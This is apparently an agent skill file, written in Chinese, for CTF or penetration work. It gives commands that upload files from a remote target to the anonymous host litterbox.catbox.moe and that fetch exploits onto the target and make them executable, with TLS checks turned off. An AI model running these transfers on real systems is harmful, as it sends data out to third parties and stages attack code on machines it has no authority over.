yhy0 File Transfer Skill
远程环境（web terminal、SSH session）与本地 Kali Docker 之间传输文件的标准流程。
外部中转服务：litterbox.catbox.moe。
Step 0：网络预检（必须先做）
在尝试任何传输前，先用一条命令检测出站 HTTPS 是否可达：
curl -k -s -o /dev/null -w "%{http_code}" --max-time 5 https://litterbox.catbox.moe/resources/internals/api.php
- 返回
200/301/302/405→ 出站正常，使用 litterbox 方案 - 返回空 /
000/ 超时 / connection refused → 出站被封，直接跳到「降级方案：base64 分块传输」，不要再尝试其他外部服务
如果远程没有 curl，用 python3 预检：
python3 -c "
import urllib.request, ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
r = urllib.request.urlopen('https://catbox.moe/', timeout=5, context=ctx)
print(r.status)
"
方案一：litterbox.catbox.moe 中转（出站正常时使用）
litterbox.catbox.moe 是临时文件分享服务，支持任意文件类型（包括裸二进制），无需注册。
上传 API
- Endpoint:
POST https://litterbox.catbox.moe/resources/internals/api.php - 必需字段:
reqtype=fileupload（固定值）time=24h（过期时间，可选：1h、12h、24h、72h）fileToUpload=@文件路径（要上传的文件）
- 响应格式: 纯文本，直接返回下载 URL（不是 JSON）
- 响应示例:
https://litter.catbox.moe/q29poh.txt - 下载链接: 响应内容本身就是下载 URL，直接使用
远程 → 本地（最常见场景）
场景：远程环境有一个二进制文件需要传到本地 Docker 分析。
# Step 1: 记录 md5 用于验证
md5sum /path/to/binary
# Step 2: 在远程环境上传文件（直接支持二进制，无需压缩）
curl -k -F "reqtype=fileupload" -F "time=1h" -F "fileToUpload=@/path/to/binary" https://litterbox.catbox.moe/resources/internals/api.php
# 直接返回下载 URL，例如: https://litter.catbox.moe/abc123
# Step 3: 在本地 Docker 下载（URL 来自上一步返回的纯文本）
curl -k -s https://litter.catbox.moe/abc123 -o /root/agent-work/binary
# Step 4: 验证完整性
md5sum /root/agent-work/binary # 必须与远程端一致
注意：上传响应就是下载 URL 纯文本，不需要 JSON 解析。如果终端输出被截断或看不到，重新上传一次并仔细捕获输出。
本地 → 远程
场景：本地生成的 exploit/payload 需要传到远程执行。
# Step 1: 在本地 Docker 上传
curl -k -F "reqtype=fileupload" -F "time=24h" -F "fileToUpload=@/root/agent-work/exploit" https://litterbox.catbox.moe/resources/internals/api.php
# 返回下载 URL
# Step 2: 在远程环境下载
curl -k -s https://litter.catbox.moe/xxxxx -o /tmp/exploit && chmod +x /tmp/exploit
远程没有 curl 时的替代上传方式
# 使用 python3（大多数 Linux 都有）
python3 -c "
import urllib.request, json, ssl, os
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
filepath = '/path/to/binary'
filename = os.path.basename(filepath)
with open(filepath, 'rb') as f:
data = f.read()
boundary = 'boundary123456'
body = b''
# reqtype 字段
body += f'--{boundary}\r\nContent-Disposition: form-data; name=\"reqtype\"\r\n\r\nfileupload\r\n'.encode()
# time 字段
body += f'--{boundary}\r\nContent-Disposition: form-data; name=\"time\"\r\n\r\n24h\r\n'.encode()
# 文件字段
body += (
f'--{boundary}\r\n'
f'Content-Disposition: form-data; name=\"fileToUpload\"; filename=\"{filename}\"\r\n'
f'Content-Type: application/octet-stream\r\n\r\n'
).encode() + data + f'\r\n--{boundary}--\r\n'.encode()
req = urllib.request.Request(
'https://litterbox.catbox.moe/resources/internals/api.php',
data=body,
headers={'Content-Type': f'multipart/form-data; boundary={boundary}'}
)
resp = urllib.request.urlopen(req, context=ctx)
url = resp.read().decode().strip()
print('Download URL:', url)
"
litterbox.catbox.moe 特性
- 直接支持二进制文件，无需 gzip 压缩
- 过期时间可选：1h / 12h / 24h / 72h
- 下载链接在过期前可多次使用
- 无需注册或认证
- 响应是纯文本 URL（不是 JSON），解析更简单
- 上传和下载使用同一主域（
catbox.moe），不会出现子域名 DNS 污染问题
方案二（降级）：base64 分块传输（出站被封时使用）
当网络预检确认出站不通时，使用 base64 编码通过终端文本传输。适用于 5MB 以内 的文件。
远程 → 本地
# Step 1: 在远程环境检查文件大小
ls -lh /path/to/binary
md5sum /path/to/binary # 记录用于验证
# Step 2: base64 编码并统计总行数
base64 /path/to/binary > /tmp/b64.txt
wc -l /tmp/b64.txt # 假设输出 N 行
# Step 3: 分块读取（每次 200 行，根据终端缓冲区调整）
sed -n '1,200p' /tmp/b64.txt
sed -n '201,400p' /tmp/b64.txt
sed -n '401,600p' /tmp/b64.txt
# ... 直到读完全部 N 行
在本地 Docker 中重组：
# 将所有分块拼接写入文件（注意不要遗漏）
cat > /root/agent-work/b64.txt << 'ENDOFBASE64'
<粘贴所有 base64 分块，顺序不能乱>
ENDOFBASE64
# 解码
base64 -d /root/agent-work/b64.txt > /root/agent-work/binary
# 验证
md5sum /root/agent-work/binary # 必须与远程端一致
本地 → 远程
同理反向操作：本地 base64 编码 → 分块输出 → 远程终端粘贴重组 → 解码。
base64 传输注意事项
- 文件 > 5MB 时 base64 约产生 6.7MB 文本，分块次数过多容易出错，应优先尝试压缩：
gzip -k binary后再编码 - 每个分块读取后，通过终端 snapshot 捕获完整内容，不要跳过或截断
- 最终必须用 md5sum 验证，不一致则重传
传输后验证
无论使用哪种方式，传输后必须验证文件完整性：
# 两端分别执行，对比输出
md5sum /path/to/file
# 或
sha256sum /path/to/file
决策流程
1. ls -lh <file> → 确认文件大小
2. 网络预检 → curl -k -s -o /dev/null -w "%{http_code}" --max-time 5 https://litterbox.catbox.moe/resources/internals/api.php
│
├─ 返回 2xx/3xx/4xx → 出站正常，使用 litterbox（方案一）
│ ├─ 有 curl → curl -k -F "reqtype=fileupload" -F "time=24h" -F "fileToUpload=@file" https://litterbox.catbox.moe/resources/internals/api.php
│ └─ 无 curl → python3 urllib 上传
│
└─ 超时/000/失败 → 使用 base64 分块（方案二）
├─ 文件 > 5MB → 先 gzip 压缩再编码
└─ 文件 ≤ 5MB → 直接编码分块传输
3. 传输完成 → md5sum 验证
使用建议
- 网络预检是第一步，不要跳过直接尝试上传——失败了浪费大量工具调用
- 传输前先确认文件大小：
ls -lh binary - 无需压缩——litterbox 直接支持二进制文件（大文件仍可选压缩减小体积）
- 传输成功后立即设置执行权限：
chmod +x binary - 上传响应就是下载 URL（纯文本），不需要 JSON 解析
- 字段名是
fileToUpload不是file，且必须带reqtype=fileupload和time=24h
常见错误
所有 curl 必须带 -k（跳过 SSL 验证）。CTF 容器经常缺少 CA 证书包（/etc/ssl/certs/ca-certificates.crt），不加 -k 会导致 curl 因 SSL 错误静默失败（配合 -s 时无任何错误提示，返回空内容），被误判为网络不通。
错误示例（缺少 -k，SSL 失败但 -s 抑制了错误信息）：
curl -s -F "reqtype=fileupload" -F "time=1h" -F "fileToUpload=@file" https://litterbox.catbox.moe/resources/internals/api.php
# 返回空 → 误判为网络不通
正确做法：
curl -k -s -F "reqtype=fileupload" -F "time=1h" -F "fileToUpload=@file" https://litterbox.catbox.moe/resources/internals/api.php
# 正确返回下载 URL